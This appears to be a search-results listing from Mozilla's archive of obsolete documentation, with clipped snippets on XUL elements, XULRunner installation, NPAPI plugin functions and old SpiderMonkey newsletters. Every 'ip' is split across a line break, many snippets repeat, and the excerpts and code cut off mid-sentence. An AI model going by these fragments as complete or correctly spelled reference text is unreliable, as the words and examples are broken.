iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
scrollbox - Archive of obsolete content
le to adjust the scroll position itself. if you just want scrollbars to appear, add style='overflow: auto;'. this may also be used with any other container element. examples the following shows the xul for a bunch of labels. they come out in a box. if their container doesn't give enough room to hold them (geometrically) what happens depends on the enclosing elements; often the content is just cl
ipped off on the bottom or right (depending on what's too big to fit). <vbox> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> ...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
stringbundle - Archive of obsolete content
this is an object which implements nsilocale. src type: url gets and sets the value of the src attribute. stringbundle type: nsistringbundle returns the xpcom string bundle...
...this is an object which implements nsilocale. src type: url gets and sets the value of the src attribute. stringbundle type: nsistringbundle returns the xpcom string bundle object w...
... holds information about the user's locale. this is an object which implements nsilocale. src type: url gets and sets the value of the src attribute. stringbundle type: nsistringbundle returns the xpcom string bundle object which implements nsistringbundle. strings type: nsisimpleenumerator an enumeration of all of the strings in the string bundle. the enumeration contains ns
ipropertyelement objects. methods getformattedstring( key, strarray ) return type: string looks up the format string for the given key name in the string bundle and returns a formatted copy where each occurrence of %s (uppercase) is replaced by each successive element in the supplied array. alternatively, numbered indices of the format %n$s (e.g. %1$s, %2$s, etc.) can be used to specify the p...
tab - Archive of obsolete content
tab. this is set automatically set when needed and you shouldn't adjust it manually. this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...ed to the panel at the corresponding index in the tabpanels element that the tab is in its tabs container. however, if this attribute is used, this behavior is overridden, and the tab will always be linked to a specific panel. this might be used to avoid duplication by linking several tabs to one panel with slight differences to the content adjusted in the select event. oncommand type: scr
ipt code this event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. pending type: boolean this attribute is set to true if the tab is currently in the process of being restored by the session store service. once the tab is restored, this attribute is removed. you can determine if...
tabs - Archive of obsolete content
ement should be placed inside a tabbox and should contain tab elements. nb: you can add some other elements to tabs such as button, but they will receive an index. activating them will not change the selectedindex. more information is available in the xul tutorial. ...
...rm controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. onclosetab type: scr
ipt code this scr
ipt will be called when the close tab button is clicked. onnewtab not in firefox type: scr
ipt code this scr
ipt will be called when the new tab button is clicked. onselect type: scr
ipt code this event is sent to the tabs element when this tab is changed. selectedindex type: integer gets and sets the index of the currently selected panel. the first item i...
...o the first element in the corresponding tabpanel when the tabs are navigated via the keyboard. if this attribute is false, the focus does not change during navigation. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. toolt
iptextnew not in firefox type: string used to set the text which appears in the toolt
ip when the user moves the mouse over the new button in the tab row. properties accessibletype type: integer a value indicating the type of accessibility object for the element. disabled type: boolean gets and sets the value of the disabled attribute. ite...
toolbaritem - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
...amespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargr
ippy, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarset - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , sta...
... wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), ...
..., isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargr
ippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarspacer, toolbox ...
treecell - Archive of obsolete content
ld be placed alongside the datasources attribute. src type: uri set this to the uri of an image to appear in the tree cell. if this attribute is left out, no image appears. you can have both an image and a label. value type: string the string attribute allows you to associate a data value with an element. it is not used for any specific purpose, but you can access it with a scr
ipt for your own use. be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and fu...
...yed to the user. ...
...e user. ...
treeitem - Archive of obsolete content
ples (example needed) attributes container type: boolean set to true if the element is to act as a container which can have child elements. this would be used for folders. this will be set by the template builder as needed. empty type: boolean set to true if the element is a container that contains no children. this will be set by the template builder as needed. label t
ipo: string (concatenacion de caracteres) para un arbol tree con columnas simples, la etiqueta puede ser colocada directamnete sobre el elemeto "treeitem" sin la necesidad de una fila "row" y un elemento "treeitem" dentro. open type: boolean for the menu type buttons, the open attribute is set to true when the menu is open. the open attribute is not present if the menu is closed. ...
...ll appear only once. ...
... only once. ...
where - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] indicate a condition that must match for a template result to be used. if the condition is true, the corresponding action body is generated; otherwise the result is ignored and no content is generated. for more information, see where elements. attributes ignorecase, mult
iple, negate, rel, subject, value examples (example needed) attributes ignorecase type: boolean set to true to indicate that the case does not matter when making comparisons. otherwise, the default value is false, to indicate that the value should match with the same case. mult
iple type: boolean set to true to indicate that the value contains mult
iple values separated by commas. any of the values may match. ...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
XUL - Archive of obsolete content
unner apps in firefox. view all... community view mozilla forums... ...
...ne live editor (copy & paste sn
ippets from here and run them) xul explorer (a lightweight xul ide) xulexplorer (patched version of xul explorer) extension developer's extension (featuring a live xul editor) xulref sidebar firebug dom inspector spket ide, ide for xul/xbl ample sdk, (cross-browser xul renderer in javascr
ipt/html) view all... ...
...lorer (patched version of xul explorer) extension developer's extension (featuring a live xul editor) xulref sidebar firebug dom inspector spket ide, ide for xul/xbl ample sdk, (cross-browser xul renderer in javascr
ipt/html) view all... related topics javascr
ipt, xbl , css, rdf, extensions, xulrunner ...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
here. system requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.9.2 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer a...
... xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a command prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. ...
...or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version. to remove all installed versions of xulrunner, remove the /library/frameworks/xul.framework directory. you also need to remove the rece
ipt, especially if you plan on reinstalling a different version. type sudo rm /var/db/rece
ipts/org.mozilla.xulrunner.* installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi. sample applications are available from the mozilla developer center. save the application archive to your desktop or a...
XULRunner 2.0 Release Notes - Archive of obsolete content
used to render web pages within native and java applications. xulrunner 2.0.x is built from the same source code snapshot as firefox 4.0.x. current version the current version of xulrunner 2.0 is 2.0, matching firefox 4.0 detailed release notes can be found here. system requirements before installing, make sure your computer meets the system requirements (nb: that page will change for firefox 4 sh
ipping). the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english. the releases directory can be found here. specific runtimes can be found at: download xulrunner for windows download xulrunner for mac os x download xulrunner for 32-bit linux download xulrunner for 64-bit...
...ents for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english. the releases directory can be found here. specific runtimes can be found at: download xulrunner for windows download xulrunner for mac os x download xulrunner for 32-bit linux download xulrunner for 64-bit linux (warning: links may become out-of-date at times). windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\2.0 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and...
... xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a command prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version. to remove all installed versions of xulrunner, remove the /library/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi. sample applications are available ...
CommandLine - Archive of obsolete content
an nsicommandline object is passed as the first argument of the launched window: example var cmdline = window.arguments[0]; cmdline = cmdline.queryinterface(components.interfaces.nsicommandline); alert(cmdline.handleflagwithparam("test", false)); see also: chrome: command line for single instance applications of course, for a single instance application (see toolkit.singletonwindowtype for more information), the last example still applies the first time your application is launched. ...
...</window> original document information author: georges-etienne legendre last updated date: august 21st, 2007 ...
...</window> original document information author: georges-etienne legendre last updated date: august 21st, 2007 ...
XUL Explorer - Archive of obsolete content
the xul can be loaded from and saved to files. a xul validator and the error console are both available to help debug problems. the help menu provides access to xul information on mdc. there is even simple "keyword" help lookup for xul elements. ...
...u provides access to xul information on mdc. there is even simple "keyword" help lookup for xul elements. roadmap features: the preview pane can be toggled with the editor. previewing in a popup window is still available. option to automatically update the preview as the editor changes. indicator in the statusbar shows errors. double-click to display error console. option to specify the sn
ippet used to load the editor on startup. option to include a user sn
ippet file. the sn
ippets are merged with the built-in sn
ippets at startup. double-click or drag-and-drop to insert a sn
ippet file > new allows user to pick any "template" sn
ippet, as well as blank. simple xul checker can be used to 'validate' the xul sn
ippet. it checks for legal element and attribute names, including allowed at...
... installs latest version: install (windows): xulexplorer-1.0a1pre.en-us.win32.exe 6.6mb install (mac): xulexpl...
calICalendarViewController - Archive of obsolete content
summary a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items. implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscr
iptable please add a summary to this article. ...
...y for a calicalendarview to create, modify, and delete items. implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscr
iptable please add a summary to this article. ...
...iewcontroller = { queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.calicalendarviewcontroller) && !aiid.equals(components.interfaces.nsisupports)) { throw components.results.ns_error_no_interface; } return this; }, createnewevent: function (acalendar, astarttime, aendtime) { // if we're given both times, sk
ip the dialog if (astarttime && aendtime && !astarttime.isdate && !aendtime.isdate) { var event = createevent(); event.startdate = astarttime; event.enddate = aendtime; event.title = "new event"; acalendar.additem(event, null); } else if (astarttime && astarttime.isdate) { var event = createevent(); e...
2006-11-24 - Archive of obsolete content
e in in early 2007. approval queue for fx 2.0.0.1 closing closing the approval queue for firefox 2.0.0.1 discussions quality of localized builds and process requirements quality of localized builds and process requirements the translate toolkit mdnto po: its current state and how to use it discussion on clarifications on translate toolkit to avoid confusion. ...
...or fx 2.0.0.1 closing closing the approval queue for firefox 2.0.0.1 discussions quality of localized builds and process requirements quality of localized builds and process requirements the translate toolkit mdnto po: its current state and how to use it discussion on clarifications on translate toolkit to avoid confusion. ...
... feedback on l10n:ownersh
ip draft feedback on the l10n:ownersh
ip draft at mozilla wiki site detailed here. summary vs. live titles there seems to be a few locales that use "summary" or a translation thereof instead of "live titles" to name the ui part of microsummaries. the lxr query is detailed here. meetings none for this week. ...
2006-12-01 - Archive of obsolete content
ourceforge.net about the best way to organize things creating a <locale>.jar file from the cvs structure discussion on how to package a <locale>.jar from the cvs structure without having to download the entire mozilla source. at the moment there is no simple way of doing this. ...
...organize things creating a <locale>.jar file from the cvs structure discussion on how to package a <locale>.jar from the cvs structure without having to download the entire mozilla source. at the moment there is no simple way of doing this. ...
...ent there is no simple way of doing this. from 50 to 100 locales discussion continues on finding a better tool for localization. feedback on l10n:ownersh
ip draft feedback on the l10n:ownersh
ip draft at mozilla wiki site detailed here continues. ...
2006-11-17 - Archive of obsolete content
alex vincent ran into some difficulty with xulrunner extension manager not recognizing xulwidgets for verbosio? however he found out that it was a result of his flat-chrome version of xul widgets and works fine with the jarred-chrome version. ...
... alex vincent ran into some difficulty with xulrunner extension manager not recognizing xulwidgets for verbosio? however he found out that it was a result of his flat-chrome version of xul widgets and works fine with the jarred-chrome version. ...
...linux with 512mb, and there is the appearance of a significant memory leak. win2xul asks for any quick pointers, opinions, experience, suggestions or ideas on where xulrunner might leak memory bug 319654 was fixed on trunk recently. nickolay ponomarev lets us know that processing instructions are now added to xul document's dom this also means, you can no longer use document.firstchild in xul scr
ipts to get the root element of a xul document and the xml-stylesheet and xul-overlay processing instructions outside the prolog no longer have any effect peter.sei...@gmail.com runs into some difficulties deploying xulrunner 1.8 on os x? please see mozilla.dev.platform faq for solution. peter naulls makes the suggestion in use and maintenance of xlib code that he become the nominal maintainer of ...
2006-12-01 - Archive of obsolete content
announcements introducing rhinoloader a byproduct of helma that extends java applications with rhino/js. it is basically a java classloader that creates classes from javascr
ipt files. server side spidermonkey juicescr
ipt is an open source version of a server side javascr
ipt. it supports a apache2 module and stand alone version. http://www.juicescr
ipt.org/ discussions deleting objects in spidermonkey a user asks if there's a method of manually deleting an object in spidermonkey before garbage collector deletes it. peter wilson's reply was to add a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * ...
... ...
...a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * from mytable where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server side inquiry about why javascr
ipt hasn't caught on for general server-side scr
ipting. peter wilson lists some important comparisons between spidermonkey and php. he states that javascr
ipt is powerful server-side scr
ipting but it lacks in popularity since its only supported by netscape, lacks a wide range of libraries, minimal marketing support. http://www.whitebeam.org is an example of open source server side javascr
ipt. ...
JS-Engine FAQ - Archive of obsolete content
spidermonkey how long are private pointers? 2-byte aligned. check the jsval macros at the top of js/src/jsapi.h can an embedded spidermonkey js engine use domparser extension of mozilla? ...
... rhino what is the performance between rhino js and native java rhino js is significantly slower in run-time than native java. ...
...o js and native java rhino js is significantly slower in run-time than native java. even when rhino is pre-compiled with high optimization, it still is no match for a compiled java program. how to determine rhino version programatically? you can call getimplementationversion() on a context instance and it gives you a string, e.g. <tt>rhino 1.6 release 2 2005 09 19</tt>. how to compile javascr
ipt into java invoking compiler: java org.mozilla.javascr
ipt.tools.jsc.main [options] file1.js [file2.js...] this results in a class file. compiler options can be vied here. non-js-engine questions can i call functions in mozilla extensions from web page? no, accessing anything in the web page's scr
ipt may lead to security problems. see xpcnativewrapper. ...
NPN_RequestRead - Archive of obsolete content
has the following parameters: stream stream of type np_seek from which to read bytes. rangelist range of bytes in the form of a linked list of npbyterange objects, each of which specifies a request for a range of bytes. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. ...
...rror code. for possible values, see error codes. descr
iption for a seekable stream, the browser sends data only in response to requests by the plug-in. the plug-in calls npn_requestread() to request data from a seekable stream. the plug-in can use this function to make one or more requests for ranges of bytes. these requests result in subsequent calls to npp_writeready() and npp_write(). for mult
iple requests, the function creates a linked list of npbyterange structures, each of which represents a separate request. ...
...n. the plug-in calls npn_requestread() to request data from a seekable stream. the plug-in can use this function to make one or more requests for ranges of bytes. these requests result in subsequent calls to npp_writeready() and npp_write(). for mult
iple requests, the function creates a linked list of npbyterange structures, each of which represents a separate request. if the plug-in requests mult
iple ranges (either through a list of npbyterange objects in a single call to npn_requestread(), or mult
iple calls to npn_requestread()), the browser can write individual ranges in any order, and with any number of npp_writeready() and npp_write() calls. the plug-in must allocate npbyterange objects, which the browser copies if necessary. the plug-in can free these as soon as the call returns. seeka...
NPN_SetValue - Archive of obsolete content
nstance pointer to the plugin instance setting the variable. variable values the function can set: nppvpluginwindowbool: sets windowed/windowless mode for plugin display; true=windowed, false=windowless nppvplugintransparentbool: sets transparent mode for display of a plugin; true=transparent, false=opaque nppvjavaclass nppvpluginwindowsize nppvplugintimerinterval nppvpluginscr
iptableinstance nppvpluginscr
iptableiid nppvjavascr
iptpushcallerbool: specifies whether you are pushing or popping the jscontext off the stack nppvpluginkeeplibraryinmemory: tells browser that the plugin dll should live longer than usual nppvpluginneedsxembed nppvpluginscr
iptablenpobject nppvformvalue nppvplugindrawingmodel value the value of the specified variable to be set. ...
... nppvpluginwindowbool (windows and unix) specifies that the plugin operates in windowed mode. ...
...se as the value parameter. by default, plugins are windowed. nppvplugintransparentbool (windows and unix) specifies that a plugin is either opaque or transparent. to specify an opaque mode, the plugin calls npn_setvalue with nppvplugintransparentbool for the variable parameter and false for the value parameter. to specify a transparent mode, the value parameter should be set to true. nppvjavascr
iptpushcallerbool sets whether you are pushing or popping the appropriate jscontext off the stack (see the two-way scr
iptability article on the mozilla plugins project page for more details). nppvpluginkeeplibraryinmemory specifies that the plugin does not want to be unloaded from memory after the page which initiated it has gone. normally, when the browser navigates away from the page containing t...
NPObject - Archive of obsolete content
<< gecko plugin api reference << scr
ipting plugins summary npobject is a structure that holds a pointer to an npclass and an integer reference count, and possibly also implementation specific (i.e. plugin specific, or browser specific) members. npobject is the type used to express objects exposed by either the plugin or by the browser through this api. the browsers are expected to expose their window objects and everything reachable from it through this api. npobjects are reference counted objects, so callers need to be careful to properly release acquired references to them. ...
...cific) members. npobject is the type used to express objects exposed by either the plugin or by the browser through this api. the browsers are expected to expose their window objects and everything reachable from it through this api. npobjects are reference counted objects, so callers need to be careful to properly release acquired references to them. to aid with the reference counting and ownersh
ip management in general, the functions npn_createobject(), npn_retainobject(), npn_releaseobject(), and npn_releasevariantvalue() are provided as part of this api. npobject behavior is implemented using the set of callback functions defined in npclass. syntax struct npobject { npclass *_class; uint32_t referencecount; /* * additional space may be allocated here by types of npobjects *...
...s implemented using the set of callback functions defined in npclass. syntax struct npobject { npclass *_class; uint32_t referencecount; /* * additional space may be allocated here by types of npobjects */ }; fields _class a pointer to the npclass of which the object is a member. referencecount the reference count for the object. warning: do not man
ipulate the _class and referencecount fields directly; use the functions below to man
ipulate the object. functions npn_createobject() npn_retainobject() npn_releaseobject() npn_invoke() npn_invokedefault() npn_evaluate() npn_getproperty() npn_setproperty() npn_removeproperty() npn_hasproperty() npn_hasmethod() npn_setexception() see also npclass ...
NPAPI plugin reference - Archive of obsolete content
npapi plugins. browser-side plug-in api this chapter describes methods in the plug-in api that are provided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth. the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. np_getmimedescr
iption np_getmimedescr
iption returns a supported mime type list for your plugin. it works on unix (linux) and macos. on windows you have to define supported mimetypes in the dll resource file. np_getvalue allows the browser to query the plug-in for information. np_initialize provides global initialization for a plug-in. np_port contains information required by the window field of an npwindow ...
...e npidentifier. the lifetime of npidentifiers is controlled by the browser. npn newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser. npn_createobject allocates a new npobject. npn_destroystream closes and deletes a stream. npn_enumerate gets the names of the properties and methods of the specified npobject. npn_evaluate evaluates a scr
ipt in the scope of the specified npobject. npn_forceredraw asks the plugin host to immediately (synchronously) repaint invalid areas. npn_getauthenticationinfo the function is called by plugins to get http authentication information from the browser. npn_getintidentifier returns an opaque identifier for the integer that is passed in. npn_getproperty gets the value of a property on the speci...
... the plug-in, or produced by the plug-in and consumed by the browser. npstring npstring is a struct that holds a pointer to a sequence of 8-bit units (nputf8) making up a utf-8 string, and the number of 8-bit units in the utf-8 string. nputf8 nputf8 is a byte representing an 8-bit unit of a utf-8 character. this is not the same thing as an entire utf-8 character, which may be comprised of mult
iple nputf8 bytes. npvariant npvariant is a struct that holds a value and the type of that value. the value is held in a union, and the type is one of types defined in the npvarianttype enumeration. npvarianttype npvarianttype is an enumeration that is used to identify the data type of an npvariant structure. npwindow contains information about the target into which the plug-in instance can dr...
Plugins - Archive of obsolete content
hat the browser can't display natively. for example, the adobe reader plugin lets the user open pdf files directly inside the browser, and the quicktime and realplayer plugins are used to play special format videos in a web page. plugins are written using npapi, the cross-browser api for plugins. the main source of documentation for npapi is the gecko plugin api reference. to make your plugin scr
iptable from web pages, use npruntime. plugins can be written completely from scratch using c apis (usually in c or c++) or they may be built on a plugin framework such as firebreath, juce, or qtbrowserplugin. there are also some code generation tools that may be helpful. more information about these tools can be found on the external resources page. plugins are different from extensions, which mo...
...engines in the search bar. gecko plugin api reference (npapi) this reference describes the application programming interfaces for npapi plugins and provides information about how to use these interfaces. site author guide for click-to-activate plugins these guidelines will help website authors use plugins when they are blocked by default with the firefox click-to-activate feature. scr
ipting plugins (npruntime) this reference describes the new cross-browser npapi extensions that let plugins be scr
iptable and also let them access the scr
ipt objects in the browser. sh
ipping a plugin as a toolkit bundle plugins can be sh
ipped as a toolkit bundle, allowing a user to easily install, uninstall and manage their personal plugins. supporting private browsing in plugins firefox ...
...log to aid in debugging problems with multi-process plugins. writing a plugin for mac os x learn how to write a plugin for mac os x; a template xcode project is provided. monitoring plugins use an observer service notification to monitor the amount of time spent executing calls in plugins. this can be useful when trying to determine if a plug-in is consuming too many resources. scr
ipting plugins: macromedia flash this article explains how javascr
ipt can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascr
ipt functions from within the flash animation. plugins: the first install problem the first install problem is the name given to the conditions arising when a plugin or embeddable software insta...
NSPR Release Engineering Guide - Archive of obsolete content
this paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms. nspr generally follows the
iplanet product lifecycle. feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run...
...z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from sh
ipped bits resolve testing anomalies tag the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /...
...copy /share/builds/components/nspr20/vx.y.z/* to /share/systems/mozilla/pub/nspr/vx.y.z/ original document information author: larryh@netscape.com last updated date: september 20, 2000 1 copying files to /share/builds/components requires that one be l...
contents.rdf - Archive of obsolete content
text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:descr
